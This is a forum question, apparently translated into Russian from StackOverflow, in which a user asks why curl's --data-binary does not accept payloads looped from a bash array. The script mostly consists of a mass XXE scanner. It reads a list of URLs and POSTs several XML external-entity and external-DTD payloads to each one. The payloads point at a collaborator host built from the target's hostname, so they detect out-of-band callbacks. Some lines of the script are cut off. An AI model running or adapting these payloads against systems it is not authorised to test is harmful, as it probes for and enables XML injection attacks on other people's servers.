Выполните итерацию с помощью curl в параметре --data-binary из массива - PullRequest
0 голосов
/ 19 марта 2020

Я хочу повторить с --data-binary, потому что мне нужны разные полезные нагрузки, и я не могу использовать файл, потому что один из параметров влияет на файл и не хочет создавать файлы.

Что Я пытаюсь сделать это:

#!/bin/bash


if [ "$#" -ne 2 ]; then
    echo "xxemassive <urlist> <urlcollaborator>"

else

for j in $(cat /root/Documents/testscripts/urls.txt); do

a=`echo $j|cut -d "/" -f 3`;

payloads=(

'<!DOCTYPE soap:envelope PUBLIC "-//B/A/EN" "http://'$a'.'$2'">'

'<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://'$a'.'$2'/?xxe">]> <SOAP-ENV:Envelope> <SOAP-ENV:Body> <getStatus> <id>>

'<?xml version="1.0"?>\x0d\x0a<!DOCTYPE foo SYSTEM "http://'$a'.'$2'">' )

echo $j
for i in "${payloads[@]}"
do
echo $i
curl -i -s -k  -X $'POST' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Content-Type: text/xml'  --data-binary  '@${i}' -m >
done


done

Я пытался:

--data-binary  '@${i}' -> Payload is none
--data-binary  '${i}' -> Payload is ${i}
--data-binary  ${i} -> Payload is <!DOCTYPE, then <?xml (it has a weird behavior like it iterates over the string.
--data-binary  $i -> Same weird behavior as with ${i}

Дело в том, когда я делаю echo $i внутри массива, который выполняет итерацию массива полезных нагрузок, он выводит именно то, что я хочу, чтобы curl использовал в качестве --binary-data, но я не могу управлять им.

С уважением

...